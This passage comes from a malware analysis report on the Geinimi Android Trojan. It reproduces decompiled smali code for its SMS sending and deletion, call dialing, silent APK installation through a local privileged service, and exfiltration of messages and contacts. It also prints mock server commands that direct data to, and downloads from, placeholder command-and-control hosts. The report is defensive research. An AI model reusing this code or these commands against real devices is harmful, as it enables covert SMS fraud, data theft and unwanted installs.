input v2, v1, Lcom/dseffects/MonkeyJump2/jump2/Pushable;->a:I
    // Save AdID
input v0, v1, Lcom/dseffects/MonkeyJump2/jump2/Pushable;->b:I
:cond_2d
move-object v0, v1
:goto_2e
return-object v0
:cond_46
const/4 v3, 0x2
    if(v2 != 0x2) // Is CmdID 2?
if-ne v2, v3, :cond_27
    // If CmdID == 0x2
    // Create a CmdId.2 Pushable
    v1 = new a(p0);
new-instance v1, Lcom/dseffects/MonkeyJump2/jump2/a;
invoke-direct {v1, p0}, Lcom/dseffects/MonkeyJump2/jump2/a;-
><init>(Ljava/util/HashMap;)V
goto :goto_27
:cond_4f
move-object v0, v1
goto :goto_2e
.end method

```

Looking at both *CmdID* type 1 object “c” and *CmdID* type 2 object “a”, we see similar factory methods that compare command names and create objects for them. The list of commands accepted for each *CmdID* is listed below.

CmdID 1	CmdID 2
PostUrl call:// email:// map:// sms:// search:// install:// shortcut:// contact:// wallpaper:// bookmark:// http:// toast:// startapp:// suggestsms:// silentsms:// text://	contactlist smsrecord deviceinfo location sms register call suggestsms skiptime changefrequency applist updatehost install uninstall showurl shell kill start smskiller dsms

	PostUrl
--	---------

Each command object is initialized and then parses the parameter string corresponding to its trigger key in the *Map*. The general form of the parameter string is semicolon-delimited, though there is some divergence. Here is an example of a decrypted send SMS payload:

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Root>
    <Action>
        <CmdID>2</CmdID>
        <AdID>12</AdID>
        <sms>5555665688;lookout</sms>
    </Action>
</Root>
```

When processed, this example results in an SMS command instance (*jump2.b.q*) that parses the parameter “5555665688;lookout”. “5555665688” (555-loo-kout) is saved into the recipient string and “lookout” is UTF-8 decoded and used as the message body.

When in the *transact* state, the main thread calls the function below:

```
v0 = this.b; // Load recipient
    iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/b/q;->b:Ljava/lang/String;
    v1 = this.c; // Load message body
    iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/b/q;->c:Ljava/lang/String;
    e/i(v0, v1); // Call the SMS sending function
    invoke-static {v0, v1}, Lcom/dseffects/MonkeyJump2/jump2/e/i;-
    >a(Ljava/lang/String;Ljava/lang/String;)V
```

Some commands deliver a response to the server as the final step in the *transact* state.

Commands

Geinimi supports a variety of commands, making it an extremely interesting target for analysis. Many of the commands analyzed are fully functional, though a few do not appear to work, and we speculate that it remains under development. Commands implement a common interface and typically have a constructor, an argument parser, and an execution method that implements the command logic.

As, we previously mentioned, the “*sms*” command is capable of sending a server-supplied string to a server-controlled destination. The following are examples of other viable commands that we have observed in execution by means of a mock server.

dsms – Delete SMS(es)

“*dsms*” will delete all messages to or from a specified target number or containing a supplied keyword. Examples of some “*dsms*” commands:

```
<!-- Command to delete a message from 555-LOOKOUT that contains the message "SPAM" -->
<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>
<Root>
    <Action>
```

```

        <CmdID>2</CmdID>
        <AdID>12</AdID>
        <dsms>5555665688;SPAM</dsms>
    </Action>
</Root>

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Root>
    <Action>
        <CmdID>2</CmdID>
        <AdID>12</AdID>
        <dsms>null;goodness</dsms>
    </Action>
</Root>

```

The “*dsms*” command offers the operator of the server control over the device’s inbox. Not only can the operator send messages to anyone, but they can also delete any evidence of this happening. The code that performs this can be found in *jump.b.h.b()*, commented below:

```

.method public final b()V
    .registers 15
...
    v2 = new String[] { "_id", "address", "body", "thread_id" };
...
:try_start_1f
    // Get a content resolver
    invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->a () Landroid/content/Context;
    move-result-object v0
    invoke-virtual {v0}, Landroid/content/Context;-
>getContentResolver()Landroid/content/ContentResolver;
    move-result-object v0
    const/16 v1, 0x27 // Decrypt "content://sms/inbox"
    invoke-static {v1}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a (I)Ljava/lang/String;
    move-result-object v1
    invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    move-result-object v1
    v0 = v0.query("content://sms/inbox", x,x,x, "date desc");
...
    const-string v5, "date desc"
    invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;-
>query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
    move-result-object v0
    v1 = v0.moveToFirst(); // Check if results were returned, if not return;
    invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
    move-result v1
    if-eqz v1, :cond_c6
        v1 = v0.getColumnIndex("address");
...
    v2 = v0.getColumnIndex("body");
...
    v3 = v0.getColumnIndex("_id");
...
    v4 = v0.getColumnIndex("thread_id");
...
:cond_c5
    // Get string for "address" from cursor
    invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
    move-result-object v5
    // Get string for "body" from cursor
    invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
    move-result-object v8
    // Get string for "_id" from cursor
    invoke-interface {v0, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
    move-result-object v9

```

```

// Get string for "thread_id" from cursor
invoke-interface {v0, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v10
    // Check if the first part of the array to search for is empty
if-eqz v7, :cond_cc
    // Check if the first parameter is the String "null", if it is we won't search
    // for a specific phone number
const-string v11, "null"
invoke-virtual {v7, v11}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v11
if-nez v11, :cond_cc
    // Since 1st parameter isn't "null", check if the address field is the same
invoke-virtual {v5, v7}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
move-result v5
if-ltz v5, :cond_df
move v5, v12
:goto_78
array-length v11, v6
if-ge v5, v11, :cond_ca
    // Get the second parameter, and compare it to the "body" of the text message
aget-object v11, v6, v5
invoke-virtual {v8, v11}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
move-result v11
    // If it's found, then we should delete it
if-ltz v11, :cond_c7
move v5, v12
:goto_84
if-eqz v5, :cond_c0
    // Delete this specific SMS
    Uri.parse("content://sms/conversations/" + id);

...
    ContentResolver.delete(Uri.parse("content://sms/conversations/" + id), "_id=" +
thread_id, null);
    const/4 v10, 0x0
    invoke-virtual {v8, v5, v9, v10}, Landroid/content/ContentResolver;-
>delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I
:cond_c0
    // Loop if there is another item for the cursor to point too
invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
move-result v5
if-nez v5, :cond_57
:cond_c6
:goto_c6
return-void

...
:cond_cc
    // Ignore the SMS's number and just check the msg body
move v5, v12
:goto_cd
array-length v11, v6
if-ge v5, v11, :cond_df
aget-object v11, v6, v5
invoke-virtual {v8, v11}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
...
goto :goto_84
...
.end method

```

smsrecord – Post stored SMS to a remote server

"smsrecord" enumerates all available SMS messages on the device (both sent and received) and posts them to a remote URI. The command has three parameters: the URI to post data to, start date, and end dates that form a search range for messages. An example of a mocked command:

```

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Root>
    <Action>

```

```

<CmdID>2</CmdID>
<AdID>12</AdID>
<smsrecord>http://sms.commandandcontrol.server:8080/dump.php;2010-01-
01:01:01;2011-01-01 01:01:01</smsrecord>
</Action>
</Root>
```

This command results in the posting of SMS messages dated between 2010-01-01:01:01 and 2011-01-01:01 to the supplied URI. The command object execute callback hands the bulk of the work to *jump2.e.i.a(String server, String afterDate, String beforeDate)*. It tags the SMS as sent/received, gathers its data and pipes it out to the specified URI as in the following HTTP POST body:

```

imei=0000000000000000&imsi=3102600000000000&CPID=3305&PTID=33050001&SALESID=0006&DID=2001&s
dkver=10.7&autosdkver=10.7&sms=2010-10-08 11:11:17@time@+1415XXXXXX@num@Ok, il try to
move to somewhere with better signal@end@
2010-10-08 11:09:59@time@+1415XXXXXX@num@Hmmm its not connecting@question@@end@
2010-10-08 09:08:15@time@1857XXXXXX@num@Hey are you guys ready@question@ Is wendy back
yet@question@@end@
&type=send
```

call – Dial an arbitrary number

"call" is as straight-forward as its seems. Here is an example of the command in action:

```

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Root>
    <Action>
        <CmdID>2</CmdID>
        <AdID>12</AdID>
        <call>5555665688</call>
    </Action>
</Root>
```

This command's implementation, found in *jump2.b.c.b()*, is simple. This function simply constructs an *android.intent.action.CALL* intent and fires it off with *Context.startActivity(Intent)*:

```

.method public final b()V
    .registers 4
    // Make sure there was a phoneNumberParameter previously initialized
    igeget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/b/c;->a:Ljava/lang/String;
    if-nez v0, :cond_5
    :goto_4
    return-void
    :cond_5
    v0 = new Intent("android.intent.action.Call");
    new-instance v0, Landroid/content/Intent;
    const-string v1, "android.intent.action.CALL"
    invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
    v1 = Uri.parse("tel://" + phoneNumberParameter);
...
    v0.setData(v1); // Set URI
    invoke-virtual {v0, v1}, Landroid/content/Intent;-
    >setData(Landroid/net/Uri;)Landroid/content/Intent;
    v0.setFlags(0x1000);
    const/high16 v1, 0x1000
    invoke-virtual {v0, v1}, Landroid/content/Intent;-
    >setFlags(I)Landroid/content/Intent;
    // Get context
    invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->a(Landroid/content/Context;
    move-result-object v1
    v1.startActivity(v0); // Start call intent
```

```

    invoke-virtual {v1, v0}, Landroid/content/Context;-
>startActivity(Landroid/content/Intent;)V
    goto :goto_4
.end method

```

showurl – Open a browser to a specified link

"showurl" is essentially the same as "call", firing an *android.intent.action.VIEW* Intent carrying a URI extracted from the command data body:

```

.method public final b()V
    .registers 4
        // Load parameter and parse it into a URI
        igure-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/b/o;-
>b:Ljava/lang/String;
    invoke-static {v0}, Landroid/net/Uri;-
>parse(Ljava/lang/String;)Landroid/net/Uri;
    move-result-object v0
        v1 = new Intent('android.intent.action.VIEW');
    new-instance v1, Landroid/content/Intent;
        const-string v2, "android.intent.action.VIEW"
    invoke-direct {v1, v2, v0}, Landroid/content/Intent;-
><init>(Ljava/lang/String;Landroid/net/Uri;)V
        v1.setFlags(0x1000);
    const/high16 v0, 0x1000
    invoke-virtual {v1, v0}, Landroid/content/Intent;-
>setFlags(I)Landroid/content/Intent;
    // Get context
    invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;-
>a()Landroid/content/Context;
    move-result-object v0
        // Start intent
    invoke-virtual {v0, v1}, Landroid/content/Context;-
>startActivity(Landroid/content/Intent;)V
    return-void
.end method

```

install:// and install - Download an APK ; trigger installation

There are actually two apparent install commands implemented in the Trojan, though only one has been observed as functional. *install://* downloads an app and relies on the user activating the resulting notification presented in the Android UI. The "*install*" command (in the *CmdID=2* partition) appears to be geared to trigger installation via an out-of-process service:

```

<!--CmdID=1 for a suggested install -->
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Root>
    <Action>
        <CmdID>1</CmdID>
        <AdID>12</AdID>

        <ShowMode>install://http://install.commandandcontrol.server:8080/good.apk</ShowMod
e>
        </Action>
</Root>

<!--CmdID=2 for the silent installer -->
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Root>

```

```

<Action>
    <CmdID>2</CmdID>
    <AdID>12</AdID>
    <install>http://install.commandandcontrol.server:8080/com.bad.apk;com.bad;com.bad.
activity</install>
</Action>
</Root>

```

The server command structure of these commands is the same, with only slight differences in form. The download code is also similar, and can be seen below extracted from *jump2.a.g.b()*:

```

.method public final c()Z
    .registers 6
    new-instance v0, Lcom/dseffects/MonkeyJump2/jump2/e/l;
        // Get saved url from HashMap
        const-string v1, "apk_url"
        invoke-virtual {p0, v1}, Lcom/dseffects/MonkeyJump2/jump2/a/g;-
>a(Ljava/lang/String;)Ljava/lang/String;
    move-result-object v1
        // Get absolute path to external storage
    sget-object v2, Lcom/dseffects/MonkeyJump2/jump2/e/k;->d:Ljava/lang/String;
        // Create a install command object
    new-instance v3, Lcom/dseffects/MonkeyJump2/jump2/a/h;
        invoke-direct {v3, p0}, Lcom/dseffects/MonkeyJump2/jump2/a/h;-
><init>(Lcom/dseffects/MonkeyJump2/jump2/a/g;)V
        // Start a download of URL v1, save the location of v2,
        // perform command v3 when done
    const/4 v4, 0x0
    invoke-direct {v0, v1, v2, v3, v4}, Lcom/dseffects/MonkeyJump2/jump2/e/l;-
><init>(Ljava/lang/String;Ljava/lang/String;Lcom/dseffects/MonkeyJump2/jump2/e/m;I)V
    invoke-virtual {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/l;->start()V
    const/4 v0, 0x1
    return v0
.end method

```

Inside Thread *jump2.e.l*, we find the code that implements the download and invokes the supplied instance of the *jump2.e.m* command. *jump2.a.h* saves the local files path to *local_apk_url* via *jump2.a.h.b(String path)* where it is picked up in *jump2.a.g.g()*:

```

.method public final g()Landroid/content/Intent;
    .registers 5
    const-string v3, "local_apk_url"
    new-instance v0, Ljava/io/File;
        // Get the local apk path that was previously saved
        const-string v1, "local_apk_url"
        invoke-virtual {p0, v3}, Lcom/dseffects/MonkeyJump2/jump2/a/g;-
>a(Ljava/lang/String;)Ljava/lang/String;
    move-result-object v1
        // Ensure it exists
    invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    invoke-virtual {v0}, Ljava/io/File;->exists()Z
    move-result v0
    if-nez v0, :cond_1f
        // If file doesn't exist, attempt to redownload
    new-instance v0, Lcom/dseffects/MonkeyJump2/jump2/a/i;
    invoke-direct {v0, p0}, Lcom/dseffects/MonkeyJump2/jump2/a/i;-
><init>(Lcom/dseffects/MonkeyJump2/jump2/a/g;)V
    iput-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/a/g;-
>b:Lcom/dseffects/MonkeyJump2/jump2/e/m;
    invoke-virtual {p0}, Lcom/dseffects/MonkeyJump2/jump2/a/g;->c()Z
    const/4 v0, 0x0
    :goto_1e
    return-object v0
    :cond_1f
        // If file exists build URI

```

```

v0 = new Intent("android.intent.action.VIEW");
new-instance v0, Landroid/content/Intent;
const-string v1, "android.intent.action.VIEW"
invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
new-instance v1, Ljava/lang/StringBuilder;
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
const-string v2, "file://"
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
const-string v2, "local_apk_url"
invoke-virtual {p0, v3}, Lcom/dseffects/MonkeyJump2/jump2/a/g;->a(Ljava/lang/String;)Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v1
invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
move-result-object v1
    v0.setDateAndType(Uri.parse("file://" + local_apk_url),
"application/vnd.android.package-archive");
    const-string v2, "application/vnd.android.package-archive"
    invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
    goto :goto_1e
.end method

```

The end result is an Intent that is placed in the notification bar. Thus, we think of *install://a* a “suggested install” command. It requires the user to actively click on the notification and agree to the prompts to complete the installation.

Contrast this with the *CmdID=2* variant of the “*install*” command. This command has a different and seemingly more suspicious implementation, though we have not been able to observe it fully in action as it relies on a loopback network service that we have not observed operating. This command first proceeds to download as in the “suggested” version; however, the commands diverge in the callback they execute to handle the downloaded APK:

```

.method public final b(Ljava/lang/String;)V
    .registers 8
    const/16 v2, 0x5b
    const-string v5, " "
        v0 = "cmd cp" + " " + local_apk_path + " " + "/data/"
    new-instance v0, Ljava/lang/StringBuilder;
    invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        // returns "cmd cp"
    const/16 v1, 0x58
    invoke-static {v1}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String;
    move-result-object v1
...
    invoke-static {v2}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String;
    move-result-object v1
    invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v0
    invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v0
        v0 = e/q.d(v0); // Send command
    invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/q;->d(Ljava/lang/String;)Z
    move-result v0
        // Check if command was sent successfully
    if-eqz v0, :cond_d3

```

```

v0 = "/data/" + file_name
new-instance v0, Ljava/lang/StringBuilder;
...
    v1 = "cmd pm" + " " + "install" + " " + v0
new-instance v1, Ljava/lang/StringBuilder;
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()
    // returns "cmd pm"
const/16 v2, 0x59
invoke-static {v2}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String;
move-result-object v2
...
    // returns "install"
const/16 v2, 0x55
invoke-static {v2}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String;
move-result-object v2
...
    v0 = e/q.d(v0); // Send command
invoke-static {v1}, Lcom/dseffects/MonkeyJump2/jump2/e/q;->d(Ljava/lang/String;)Z
move-result v1
    // Check if command succeeds
if-eqz v1, :cond_b3
    // Check if a package name was passed as an argument
    igeq-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/b/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/b/i;
    igeq-object v1, v1, Lcom/dseffects/MonkeyJump2/jump2/b/i;->b:Ljava/lang/String;
if-eqz v1, :cond_b3
    // Check if a class name was passed as an argument
    igeq-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/b/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/b/i;
    igeq-object v1, v1, Lcom/dseffects/MonkeyJump2/jump2/b/i;->c:Ljava/lang/String;
if-eqz v1, :cond_b3
    // Get package name
    igeq-object v3, p0, Lcom/dseffects/MonkeyJump2/jump2/b/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/b/i;
    igeq-object v3, v3, Lcom/dseffects/MonkeyJump2/jump2/b/i;->b:Ljava/lang/String;
    // Get class name
    igeq-object v4, p0, Lcom/dseffects/MonkeyJump2/jump2/b/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/b/i;
    igeq-object v4, v4, Lcom/dseffects/MonkeyJump2/jump2/b/i;->c:Ljava/lang/String
    // Create Component
    invoke-direct {v2, v3, v4}, Landroid/content/ComponentName;-
><init>(Ljava/lang/String;Ljava/lang/String;)V
    invoke-virtual {v1, v2}, Landroid/content/Intent;-
>setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
    const/high16 v2, 0x1000
    invoke-virtual {v1, v2}, Landroid/content/Intent;-
>setFlags(I)Landroid/content/Intent;
    invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->a()Landroid/content/Context;
move-result-object v2
    // Start activity to launch newly installed application
    v2.startActivity(v1);
    invoke-virtual {v2, v1}, Landroid/content/Context;-
>startActivity(Landroid/content/Intent;)V
:cond_b3
    v1 = "cmd rm" + " " + "/data/" + file_name
new-instance v1, Ljava/lang/StringBuilder;
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()
    // returns "cmd rm"
const/16 v2, 0x5a
invoke-static {v2}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String;
move-result-object v2
...
    v0 = e/q.d(v0); // Send command
invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/q;->d(Ljava/lang/String;)Z
:cond_d3
return-void
.end method

```

Above we find code that constructs several commands and attempts to send them to a local network service. The commands that are constructed:

```
cmd cp <downloaded path> /data/
cmd pm install <arg>
cmd rm <path>
```

certainly have the appearance of being intended for command-line execution. As the destination path for the APK is uid/gid *system* one would assume that the target service would have to be running at a privileged level for these commands to succeed.

We find the implementation of the client side of this command dispatch system in *jump2/e/q;->d* below:

```
.method public static d(Ljava/lang/String;)Z
    .registers 8
    const/4 v6, 0x0
    :try_start_1
        // Create a socket connection to 127.0.0.1 on port 8791
        new-instance v0, Ljava/net/Socket;
        const-string v1, "127.0.0.1"
        const/16 v2, 0x2257
        invoke-direct {v0, v1, v2}, Ljava/net/Socket; -><init>(Ljava/lang/String;I)V
        invoke-virtual {v0}, Ljava/net/Socket; ->getInputStream()Ljava/io/InputStream;
        move-result-object v1
        invoke-virtual {v0}, Ljava/net/Socket; ->getOutputStream()Ljava/io/OutputStream;
        move-result-object v0
        const/16 v2, 0x200
        new-array v2, v2, [B
        const-string v3, "hi,xiaolu"
        invoke-virtual {v3}, Ljava/lang/String; ->getBytes() [B
        move-result-object v3
            // Send challenge phrase "hi,xiaolu"
        invoke-virtual {v0, v3}, Ljava/io/OutputStream; ->write([B)V
            // Read response
        invoke-virtual {v1, v2}, Ljava/io/InputStream; ->read([B)I
        move-result v3
        new-instance v4, Ljava/lang/String;
        const/4 v5, 0x0
        invoke-direct {v4, v2, v5, v3}, Ljava/lang/String; -><init>([BII)V
        const-string v3, "hi,liqian"
        invoke-virtual {v4, v3}, Ljava/lang/String; ->equals(Ljava/lang/Object;)Z
        move-result v3
            // Check if the response was "hi,liqian", if not exit
        if-eqz v3, :cond_5e
        invoke-virtual {p0}, Ljava/lang/String; ->getBytes() [B
        move-result-object v3
            // send command
        invoke-virtual {v0, v3}, Ljava/io/OutputStream; ->write([B)V
            // read response
        invoke-virtual {v1, v2}, Ljava/io/InputStream; ->read([B)I
        move-result v1
        new-instance v3, Ljava/lang/String;
        const/4 v4, 0x0
        invoke-direct {v3, v2, v4, v1}, Ljava/lang/String; -><init>([BII)V
        const-string v1, "command ok"
            // check if response was "command ok", if not ok write back "bye", return false;
            // else if response wasn't "command ok", then write back "bye", return true;
        invoke-virtual {v3, v1}, Ljava/lang/String; ->equals(Ljava/lang/Object;)Z
        move-result v1
```

```

if-eqz v1, :cond_5c
const/4 v1, 0x1
:goto_4b
const-string v2, "bye"
invoke-virtual {v2}, Ljava/lang/String;->getBytes() [B
move-result-object v2
invoke-virtual {v0, v2}, Ljava/io/OutputStream;->write([B)V
:try_end_54
.catch Ljava/net/UnknownHostException; {:try_start_1 .. :try_end_54} :catch_56
.catch Ljava/io/IOException; {:try_start_1 .. :try_end_54} :catch_59
move v0, v1
:goto_55
return v0
...
.end method

```

If the service is connected successfully, the client sends the challenge "*hi,xiaolu*" and expects the response "*hi,liqian.*" The client writes its command seeks a response of "*command ok*" from the server, returning an indication of success/failure to the caller. Note that this is the same backing implementation for the shell reinforcing our presumed purpose of the server.

We have observed additional commands in action, but leave investigation as an exercise to the reader. To highlight others we have triggered from a mock server and observed to date:

updateHost – Updates the server list with a new list supplied by the server.

changeFrequency – Changes the frequency preference for checking into the server.

skipTime – Controls the delay between command execution.

applist – Delivers a list of installed applications to the server.

contactlist – Dumps contact information including display name, last access time, and phone number about all device contacts to the server.

Conclusion

Geinimi is certainly not the first piece of mobile malware to exhibit many of its traits. It does, however, represent a significant jump in sophistication and capabilities from its predecessors on the Android platform. It represents the first piece of Android malware to employ a bytecode obfuscator and internal encryption to obfuscate its purpose. It is the first case of Android malware grafted onto a legitimate application and, though the most sophisticated Spyware applications have come close, Geinimi is accepting the broadest array of commands from a server under the control of an unknown party that we have seen to date.

There has been much speculation as to the intent of Geinimi. It could be nothing more than a Trojan advertising platform with overbearing promotional hooks by our standards. At the extreme, the array of capabilities under 3rd party control could amount to an attempt to build a botnet. These are widely different assessments that



rely on knowing the intent of Geinimi's authors, a perspective that we don't have available to analyze. What is clear, however, is that Geinimi is something that nobody in their right mind wants installed on their mobile device.